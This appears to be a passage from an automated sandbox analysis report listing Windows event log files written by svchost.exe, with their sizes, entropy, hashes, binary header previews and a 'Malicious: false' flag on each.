SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 143, DIRTY
Category:	dropped
Size (bytes):	76040
Entropy (8bit):	4.552038999861418
Encrypted:	false
SSDEEP:	768:iLjpPv++M48PFVbUa+54cpLjpPv++M48PFVbUa+54cyY20sMY3Dp13/n/ydIxm6c:3U
MD5:	90F4DEFFDCF0102D864E128B6600A92F
SHA1:	3BDCCD2E88E4A71BAD80A398E44B1A368B7E29D4
SHA-256:	D7744E50FFE6DA4603523FD2F9A806E0ED6E0A44584636CBAC11DA4CE9CB8F4B
SHA-512:	DF8E421377210FA318157573ABCFB7C4162AE85A1AA87A9224A6C84756963CBA24B97653DC7FFCFD8D0B0C9A569C4D4A279BEC4AA182B1532140C816D9A6E8A6
Malicious:	false
Preview:	ElfFile.....................................................................................................................I..ElfChnk......................................$...(..j.$.........................................................................................H.......................p...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......!............................................$..................................**..X.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	3.451882343754919
Encrypted:	false
SSDEEP:	384:g+ILnEICI0zISIaI4WiI7AIb+qIpIRIRIwIdIAIcRIOIlIzIhINIDvUIJIshhDIJ:gRY7hZxGp9bY
MD5:	B5AE54306655A4C81825846B0A1B10D1
SHA1:	E0EDF8F9094D73120CB6BA533B6F534A60FEE80B
SHA-256:	F466BB91A2523DC944C90E17E4C287E5DA4708818CBBDD2666EB868DB5BD8DFB
SHA-512:	158720B128FFC2383B5F448029B1781ED4F71F5FFBE4A111353067D62A34BB34C1F422DC1801798B405A9B61EA9CFBC34153AD64F5162E751A5C4A351FABA126
Malicious:	false
Preview:	ElfChnk.T...............T...................P...h.............................................................................R........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a......a...........................**......z........6xQ...............a..............................................................,.......D.....!........... ....@.6xQ....@..^<.....fX........p...z....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l........n..&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	68576
Entropy (8bit):	3.7348507670154945
Encrypted:	false
SSDEEP:	768:pJIutDBjV8k+u7eytHpoVWWL07SZRcZv76NcRUjGHzLKvc90XKcZv76NcRkpyLjh:YutDBjV8k+u7BtHpoVW
MD5:	2B9F0615D6225AEA9921D1F133F40C3D
SHA1:	43570BF64C45D97707AAB329907418549B0732FE
SHA-256:	82711A5681382076C98111C2BDCAF45D4B68BD5C96BD66818849419461B2CEF8
SHA-512:	812D4B8D1B3200B650107B76FEDA4D54351FD871FF93C98C8F99E875217C92FF9616AB8C2F4CC9DD9646D1250688C72DE5C0B7FB4E2BAF67D19BA49966941712
Malicious:	false
Preview:	ElfChnk.................O.......Q...........x.......-.........................................................................E:................ ...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..P...O........e+Y..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.741691431664288
Encrypted:	false
SSDEEP:	768:xkN2cTOsK4TcCC/8+XuCqabvY7NrjzDbRt:zcis7Tc8+XuCqabvY53R
MD5:	7B933E51961B1AEB3462112F80596FDF
SHA1:	17D8FF8EA9032BF104353DFB6840CFE484D51BF4
SHA-256:	AB3F0A1F98A9E55FFFEF021F79686933AC581E4FF06DB2328ECD36FE4F3A1CBE
SHA-512:	5E997E1B428FFA0B96EDF7C4AD3CCF413D31E557252368356D8BA2F7673D40B35A2CFFF19625234789C226B40FF72B3D5F9BF2036164CF7A51B2199A8BD1431C
Malicious:	false
Preview:	ElfChnk.........................................p...S-......................................................................{4.e................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7512152679236914
Encrypted:	false
SSDEEP:	1536:1XhKUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:1XgnS
MD5:	7A1F6EC8C2043FA2F06ED51CE0CC4DFD
SHA1:	3FF69E1558AB7143BB157A9088287D79FBF7AF30
SHA-256:	1B59C5A37BE2DBE549E68B6499A053CDE94DF1241B696EB034BE402E2D47D957
SHA-512:	085CDF21EBE7A11BFF5B360814E4C22DDB85C890BA618BB45619E972FA7B969CDDF53C097EC403F1F932FF15920CAAF1265B2F1A5AFA8B1BAEFA55A29AC673CF
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G...x.~.......................................................................O................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	127536
Entropy (8bit):	4.000638990534209
Encrypted:	false
SSDEEP:	768:ah0w+qLpBVi7CPME79nCxkSqZh0w+qLpBVi7CPME79nCxkSq0c:c0w+qtBViw0w+qtBViLc
MD5:	CBA05F4DF34CB00322596BDDEA6994FB
SHA1:	60FF2919B4741195EEC42C8E46DC4112C84C699D
SHA-256:	4F26DE6CFD8E0DA3228CEE5A3F7DADC41810BF2D79E1D5719668D56195CE462A
SHA-512:	4B4A5906C3369A5B2581258073F74C0AA0B34F5D35FC99EC565D764C18BF36A76E70B2A21E6E3042A6CF22E99C54693AF660B09A069E098B0254D5764D7F649E
Malicious:	false
Preview:	ElfChnk.........#...............#........... ..............................................................................\.f................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................*.. ............#................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	71936
Entropy (8bit):	4.4964801720773035
Encrypted:	false
SSDEEP:	1536:UOop9cviC6xO3yTEcRFkL1TWX0gkB/J7oasEfyk2/vKlqRi/PgTZSXwyvy8fJpfA:UOopWviC6xO3yTEcRFkL1TWX0gkB/J7I
MD5:	54B982553A48FFEA14EEC33F3792D3D8
SHA1:	8CF470A6E4E551F3ED905C171C618E3521C8A74E
SHA-256:	043857BED1821131AF6571FA8DE2691063996A6684532FF7828D345E24A19B26
SHA-512:	BE4747FF036DA36DFCE40C5DE3C3DDF6695286FCA239F5029F02C9FE11CF40D868563460A945DD90596F389064317D4F7A4B7799021AD97A89CB6F57696DE27F
Malicious:	false
